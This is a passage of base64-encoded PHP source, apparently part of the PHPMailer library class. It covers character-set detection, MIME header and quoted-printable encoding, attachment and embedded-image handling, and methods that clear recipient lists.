tIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgICAgICB9IGVsc2UgeyAvLyBBc3N1bWUgbm8gbXVsdGlieXRlcyAod2UgY2FuJ3QgaGFuZGxlIHdpdGhvdXQgbWJzdHJpbmcgZnVuY3Rpb25zIGFueXdheSkKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERvZXMgYSBzdHJpbmcgY29udGFpbiBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I\/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuCiAgICAgKiBBY2NvcmRpbmcgdG8gUkZDMjA0NSBzZWN0aW9uIDYuNy4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXggTnVtYmVyIG9mIGNoYXJzIGFsbG93ZWQgb24gYSBsaW5lIGJlZm9yZSB3cmFwcGluZwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCA9IDc2KQogICAgewogICAgICAgIC8vIFVzZSBuYXRpdmUgZnVuY3Rpb24gaWYgaXQncyBhdmFpbGFibGUgKD49IFBIUDUuMykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdxdW90ZWRfcHJpbnRhYmxlX2VuY29kZScpKSB7CiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgLy8gRmFsbCBiYWNrIHRvIGEgcHVyZSBQSFAgaW1wbGVtZW50YXRpb24KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgIGFycmF5KCclMjAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLAogICAgICAgICAgICBhcnJheSgnICcsICJcclxuPTJFIiwgIlxyXG4iLCAnPScpLAogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykKICAgICAgICApOwogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy9bXlxyXG5deycgLiAoJGxpbmVfbWF4IC0gMykgLiAnfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLgogICAgICogQHNlZSBQSFBNYWlsZXI6OmVuY29kZVFQKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsaW5lX21heAogICAgICogQHBhcmFtIGJvb2xlYW4gJHNwYWNlX2NvbnYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAZGVwcmVjYXRlZCBVc2UgZW5jb2RlUVAgaW5zdGVhZC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGxpbmVfbWF4ID0gNzYsCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3BhY2VfY29udiA9IGZhbHNlCiAgICApIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgdXNpbmcgUSBlbmNvZGluZy4KICAgICAqIEBsaW5rIGh0dHA6Ly90b29scy5pZXRmLm9yZy9odG1sL3JmYzIwNDcKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciB0aGUgdGV4dCB0byBlbmNvZGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBvc2l0aW9uIFdoZXJlIHRoZSB0ZXh0IGlzIGdvaW5nIHRvIGJlIHVzZWQsIHNlZSB0aGUgUkZDIGZvciB3aGF0IHRoYXQgbWVhbnMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgLy8gVGhlcmUgc2hvdWxkIG5vdCBiZSBhbnkgRU9MIGluIHRoZSBzdHJpbmcKICAgICAgICAkcGF0dGVybiA9ICcnOwogICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJHBvc2l0aW9uKSkgewogICAgICAgICAgICBjYXNlICdwaHJhc2UnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjMKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ15BLVphLXowLTkhKitcLyAtJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAvKiogQG5vaW5zcGVjdGlvbiBQaHBNaXNzaW5nQnJlYWtTdGF0ZW1lbnRJbnNwZWN0aW9uICovCiAgICAgICAgICAgIGNhc2UgJ2NvbW1lbnQnOgogICAgICAgICAgICAgICAgLy8gUkZDIDIwNDcgc2VjdGlvbiA1LjIKICAgICAgICAgICAgICAgICRwYXR0ZXJuID0gJ1woXCkiJzsKICAgICAgICAgICAgICAgIC8vIGludGVudGlvbmFsIGZhbGwtdGhyb3VnaAogICAgICAgICAgICAgICAgLy8gZm9yIHRoaXMgcmVhc29uIHdlIGJ1aWxkIHRoZSAkcGF0dGVybiB3aXRob3V0IGluY2x1ZGluZyBkZWxpbWl0ZXJzIGFuZCBbXQogICAgICAgICAgICBjYXNlICd0ZXh0JzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIFJGQyAyMDQ3IHNlY3Rpb24gNS4xCiAgICAgICAgICAgICAgICAvLyBSZXBsYWNlIGV2ZXJ5IGhpZ2ggYXNjaWksIGNvbnRyb2wsID0sID8gYW5kIF8gY2hhcmFjdGVycwogICAgICAgICAgICAgICAgJHBhdHRlcm4gPSAnXDAwMC1cMDExXDAxM1wwMTRcMDE2LVwwMzdcMDc1XDA3N1wxMzdcMTc3LVwzNzcnIC4gJHBhdHRlcm47CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgJG1hdGNoZXMgPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoX2FsbCgiL1t7JHBhdHRlcm59XS8iLCAkZW5jb2RlZCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgIC8vIElmIHRoZSBzdHJpbmcgY29udGFpbnMgYW4gJz0nLCBtYWtlIHN1cmUgaXQncyB0aGUgZmlyc3QgdGhpbmcgd2UgcmVwbGFjZQogICAgICAgICAgICAvLyBzbyBhcyB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICAgICAgJGVxa2V5ID0gYXJyYXlfc2VhcmNoKCc9JywgJG1hdGNoZXNbMF0pOwogICAgICAgICAgICBpZiAoZmFsc2UgIT09ICRlcWtleSkgewogICAgICAgICAgICAgICAgdW5zZXQoJG1hdGNoZXNbMF1bJGVxa2V5XSk7CiAgICAgICAgICAgICAgICBhcnJheV91bnNoaWZ0KCRtYXRjaGVzWzBdLCAnPScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5X3VuaXF1ZSgkbWF0Y2hlc1swXSkgYXMgJGNoYXIpIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJGNoYXIsICc9JyAuIHNwcmludGYoJyUwMlgnLCBvcmQoJGNoYXIpKSwgJGVuY29kZWQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIFJlcGxhY2UgZXZlcnkgc3BhY2VzIHRvIF8gKG1vcmUgcmVhZGFibGUgdGhhbiA9MjApCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCcgJywgJ18nLCAkZW5jb2RlZCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSBzdHJpbmcgb3IgYmluYXJ5IGF0dGFjaG1lbnQgKG5vbi1maWxlc3lzdGVtKS4KICAgICAqIFRoaXMgbWV0aG9kIGNhbiBiZSB1c2VkIHRvIGF0dGFjaCBhc2NpaSBvciBiaW5hcnkgZGF0YSwKICAgICAqIHN1Y2ggYXMgYSBCTE9CIHJlY29yZCBmcm9tIGEgZGF0YWJhc2UuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgU3RyaW5nIGF0dGFjaG1lbnQgZGF0YS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lIE5hbWUgb2YgdGhlIGF0dGFjaG1lbnQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRmaWxlbmFtZSwKICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JwogICAgKSB7CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzCiAgICAgKiB0aGUgSFRNTCByZWZlcnMgdG8gdXNpbmcgdGhlICRjaWQgdmFsdWUuCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB